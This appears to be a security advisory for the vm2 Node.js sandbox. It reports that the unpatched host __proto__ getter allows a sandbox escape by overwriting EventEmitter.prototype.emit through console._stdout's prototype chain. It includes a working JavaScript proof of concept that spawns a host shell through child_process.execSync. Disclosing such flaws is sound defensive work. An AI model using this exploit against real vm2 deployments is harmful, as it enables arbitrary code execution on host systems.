## Summary

It being possible to obtain the host `__proto__` getter/setter, has been used in many reports:

- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)

## Details

The prototype chain for `console._stdout`/`console._stderr` is:

```
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
```

`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`

By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.

This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor.

## PoC

```js
const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};

p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);
```